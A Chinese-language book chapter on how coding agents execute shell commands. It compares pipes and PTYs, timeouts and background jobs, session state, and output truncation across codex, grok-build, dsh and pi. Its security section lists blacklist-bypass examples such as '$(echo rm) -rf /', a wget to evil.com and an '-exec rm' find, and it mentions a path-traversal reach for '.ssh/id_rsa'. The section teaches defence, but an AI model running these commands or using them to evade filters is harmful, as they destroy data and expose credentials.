Appearance
第 8 章 Agent 怎样执行 Shell 命令
本章要解决的问题
第 7 章让 Agent 能修改文件,但还不能判断修改是否正确。类型检查、lint、测试、构建和开发服务器都需要执行命令,因此下一项核心工具是 Shell。
本章从一个最简实现出发,看它会接连撞上哪些墙——子进程通过普通管道还是虚拟终端通信、命令要跑多久、命令之间要不要共享状态、输出大到装不进上下文——以及 codex、grok-build、dsh 和 pi 对每个问题各自的答案。
8.1 自建起步:跑通一条命令
“执行命令”本身使用Node 自带能力就够:
- 用
spawn启动bash -c <命令>,子进程的标准输出和错误接上管道收回来; - 设一个超时定时器,到点还没结束就杀掉进程;
- 命令结束后按退出码返回,非零视为失败;
- 输出先攒在内存里,返回时只交回最后 2KB(8.5 再升级它);
- 顺手传
NO_COLOR=1这类环境变量,关掉颜色码,输出对模型更友好。
8.2 第一个选择:管道还是 PTY
8.1 的 spawn 默认给子进程接了管道(pipe):命令怎么送进去、输出怎么拿回来,走的是字节通道。另一种方式是 PTY(伪终端):给子进程伪造一个"有人在用的真终端"。核心区别是子进程以为对面是谁:
管道(spawn 默认) | PTY(伪终端) | |
|---|---|---|
| 是什么 | 接在子进程输入输出上的字节通道 | 伪造的一个"真终端"环境 |
| 子进程的感知 | 对面是程序,不是终端 | 对面是一个有人在用的终端 |
| 程序的行为 | 降级表现:去掉颜色和进度条、换缓冲方式,要交互的程序可能直接不干活 | 完整表现:颜色、进度条、交互问答都正常 |
| 拿到的输出 | 纯文本,干净、省 token | 带 ANSI 控制字符,给模型前要先清理 |
| 什么时候用 | 绝大多数命令 | 命令需要交互(问答、全屏界面)时 |
结论:普通命令用管道,需要交互的命令才开 PTY。 8.1 里 npm init 卡死,就是因为没人能回答它的问题——要么换非交互参数(npm init -y),要么走 PTY 由模型代答。PTY 在 Node 里没有内置支持,生产实现通常用 node-pty 这类原生模块。
四家的投入也不同:codex 的工具带 tty 参数可随时开,交互支持最完整;grok 提供 ptyctl;dsh 不把交互塞进 Shell 工具,而是交给独立的 terminal 能力组;pi 的内置 bash 只走管道,把真正的交互和后台会话交给 tmux 或扩展。
8.3 问题一:命令要跑多久
8.2 决定了进程怎样与 Agent 通信,但还没决定这条连接保持多久。命令时长是一个梯度,不是"快/慢"两档:
text
秒回: git status / ls —— 等它完成,毫无压力
分钟级: pnpm install / 全量测试 —— 不能傻等超时,也不能杀
永不退出: vitest --watch / dev server —— 根本没有"完成"的时刻最简实现的"超时即杀"只适合第一档。
四家对后两档的答案,是本章最核心的策略分歧:
codex:一个工具,到点让位。 命令跑了一段时间(默认 10 秒,可配 250ms~30s)还没结束,就把控制权交还给模型——命令继续在跑,模型可以先干别的,之后用同一个会话继续读输出、继续写输入。
交互体验放在第一位: 超时不杀命令,只是把等待挂起;交互式程序、半途追问都接得住。代价是模型必须自己管理会话 id,理解让位后再续读的时序。
grok:前后台分治。 前台命令等待完成,有超时预算(默认十几秒,生产环境可放宽到小时级);后台命令立即返回任务 id,由 task_output / kill_task / monitor 一族工具管理,完成时系统主动通知——工具说明里直白写着"不要轮询、不要 sleep 等待"。
dsh:每条命令独立执行,持续运行的走 jobs。 后台任务同样有 job_output / job_kill 和完成通知;交互式程序不塞进 Shell 工具(见 8.2)。
pi:内置工具只负责前台命令。 调用可以设置超时,未设置时没有默认超时;取消或超时会终止整棵进程树。它不返回后台 job id,也不维护 PTY 会话。项目文档明确建议后台与交互任务使用 tmux,需要产品内统一管理时再由扩展实现。核心更小,代价是 Agent 本身无法统一恢复和展示这些外部会话。
后台任务不是一个 id 就完了
把命令放后台,只是把问题换了形状。后台任务需要一个状态机:
三个容易漏的问题:
- 输出要能增量读(接着上次的位置);
- 会话结束要清理还在跑的任务并在日志里记下最终状态;
- 重启后发现进程已经消失,要诚实标记失联,不能伪装成"已完成"。
8.4 问题二:命令之间要不要共享状态
8.3 的长命令会留下会话或 job,很容易让人顺势假设“下一条命令也会继承上一条的环境”。这两件事必须分开:能继续读取同一进程,不等于新命令会共享 cwd 和环境变量。先看模型的一段真实思路:
text
模型想一步步探索目录结构:
① run("cd packages/web") —— "我现在进到 web 目录了"
② run("ls") —— 期望看到 web 里的文件问题来了:
② 执行时,① 改变的工作目录还在不在?
如果每条命令都是全新进程,① 的 cd 随进程结束消失,② 看到的是 workspace 根目录——模型的"我记得我在哪"是幻觉。export FOO=1 的环境变量同理。这就是"状态保留"问题的全部:上一条命令改变的 cwd 和环境变量,下一条命令看不看得到。
三种答案,对应三种产品哲学:
dsh 和 pi:无状态,每条命令全新进程。 两家理由相同,每条命令自带完整工作目录,啰嗦一点,换来两件大事:
- 每条命令天然可以并行;
- 从日志重放会话时每条请求都自包含,崩溃恢复因此简单(内存里的 shell 状态没了没关系,磁盘上的日志够重建)。
差别只在形态:dsh 的工具说明里明说"目录和变量不跨命令保留——用
workdir参数,别用cd";pi 的当前目录在创建工具时确定,切目录要写在同一次调用里(cd dir && ...)。grok:持久 shell 会话。 一个长期开着的 shell 进程,工作目录、环境变量跨命令保留,像人一直开着的终端窗口——贴合模型在训练数据里见过的使用习惯。代价是状态会漂移(当前目录可能和模型以为的不一样)、并发执行要小心、崩溃后要恢复会话。
codex:平时无状态,长命令有会话。 它的"会话"服务于超时让位后的续读续写(8.3),不是 grok 那种跨命令共享 cwd/env 的持久 shell。
前端类比:Cookie 会话 vs REST 无状态
- 持久会话 = 有状态会话(cookie/session):服务端记住你是谁,请求可以很省,但状态会"漂移"、难以并发、崩溃后要恢复
- 无状态 = REST(每次请求自带全部上下文):啰嗦一点,但每条命令自包含、可并行、可重放
8.5 问题三:输出大到装不进上下文
8.2~8.4 决定了命令怎样通信、持续和保留状态,还剩下返回链的问题:进程可能持续产生远超模型窗口的内容。8.1 的“只交回最后 2KB”糊弄不过去,真实世界里编译失败三千行、测试日志上万行,而上下文是稀缺资源(第 2 章)。常用三招:
- 截断:保留头尾——报错常在两头;
- 预算:按 token(或字节)设上限,超了就裁;
- 落盘:完整输出写文件,返回尾部摘要加文件路径,模型需要细节时再去读。
四个实现收敛到同一套组合——预算截断 + 超限落盘:codex 按 token 设预算(默认一万);grok 按字节设上限,保留头尾、给完整日志路径;dsh 和 pi 都先在内存留尾部、超限就把完整输出写入文件、只返回尾部摘要加路径(细节略异:pi 按 2000 行或 50KB 先到者限制,并顺手清理 ANSI 控制字符和明显的二进制乱码,避免污染上下文)。
一条表达纪律
无论怎么组合,有一条表达纪律:"已截断"和"全文在文件里"必须分开说清——模型需要知道眼前不是全貌,以及去哪里找全貌。
8.6 与策略无关的两条底线
前四节的通信、时长、状态和输出都可以按产品形态取舍。但无论选哪套策略,下面两件事的答案是一样的。
底线一:命令安全,关键字黑名单挡不住。 执行命令前做校验,最直接的想法是用黑名单禁掉 rm、sudo。但 Shell 能组合和替换命令,黑名单形同虚设:
bash
rm 被禁? $(echo rm) -rf / # 变量展开绕过
curl 被禁? wget http://evil.com/x # 换个等价命令
find / -name '*.log' -exec rm {} \; # 危险操作藏在合法命令的参数里更可靠的方向是解析命令结构:识别哪个参数会读文件、-exec 后面接的是什么,判断命令实际会做什么,而不是匹配字符串。codex 为此实现了专门的命令策略引擎。但真正的强制隔离仍然要靠操作系统(第 9 章)。
底线二:启动子进程的三个坑。
坑一:超时只杀了最外层。 8.1 的超时杀进程只杀了 bash 本身;bash -c "npm test & npm run dev" 是一整棵进程树,后代可能继续跑,留下占用端口的孤儿进程。
最低要求是:启动时把命令放进独立的进程组,终止时对整组先发 SIGTERM(留几秒宽限)再 SIGKILL;Windows 上用等价的进程树终止机制。结束后确认整组都退了,别只看 shell。
坑二:环境变量把凭证带给子进程。 体验上,设置 NO_COLOR=1、PAGER=cat 之类的非交互环境,输出对模型更友好(8.1 已经这么做了)。安全上,如果子进程继承 Agent 的全部环境变量,命令也会得到其中的 API_KEY 等凭证。
保守做法是默认只传必要的变量、过滤名字含 KEY/TOKEN/SECRET 的;但按名字过滤只是辅助措施,真正的边界仍在沙箱。
坑三:路径检查看着严密,实则漏。 相对路径的基准(工作区根还是进程当前目录)要显式定义;../../.ssh/id_rsa 不能因为"是相对路径"就放行。
此外,path.resolve() 不会解析符号链接,startsWith(root) 会把 /allowed-other 误判进 /allowed。高风险写入最终要靠 OS 沙箱,字符串检查只是第一道检查。
【对比小结】
把前面每个问题的答案拼在一起,就是四家的完整画像:
| codex | grok-build | dsh | pi | |
|---|---|---|---|---|
| 放在第一位的是 | 交互体验 | 行为友好、审批体验 | 确定性、可恢复 | 最小核心、外部组合 |
| 命令调度 | 时间参数交还控制权,命令继续跑 | 前台等待 / 后台立即返回 | 每条命令独立执行;持续运行走 jobs | 前台等待;取消或超时终止进程树 |
| 会话状态 | 长命令有会话 | 持久会话(cwd/env 保留) | 无状态(workdir 替代 cd) | 无状态;每次调用新进程 |
| 交互式程序 | 强(PTY + 继续输入) | 有(ptyctl 支持) | 弱(另有 terminal 能力组) | 内置无 PTY;交给 tmux 或扩展 |
| 输出限制 | token 预算(默认 10k) | 字节上限,保留头尾并可给日志路径 | 内存留尾部,超限可落盘保留全文 | 2000 行或 50KB;超限落临时文件 |
| 完成通知 | 会话内继续读 | 事件通知("不要轮询"写进工具说明) | jobs 事件通知 | 内置无后台任务通知 |
| 额外权限 | 调用参数申请 | description 用于审批 UI | sandbox_permissions 申请 | 内置不审批;由扩展或外部沙箱控制 |
核心取舍: 前三家把不同强度的进程管理与授权能力纳入 Agent Runtime;pi 则把 tmux、容器和扩展视为可组合的运行环境。前者更容易统一恢复和 UI,后者核心更小,但外部会话的状态与权限需要另行治理。
选型前先回答三个问题:
- 模型是否会频繁运行交互式程序?
- 会话是否需要重放和恢复?
- 上下文预算是否紧张?
到这里,Agent 已经能修改文件,并通过命令运行检查。修改文件和执行命令都是有真实副作用的操作——下一章给这条链装上安全底线:权限、审批和沙箱。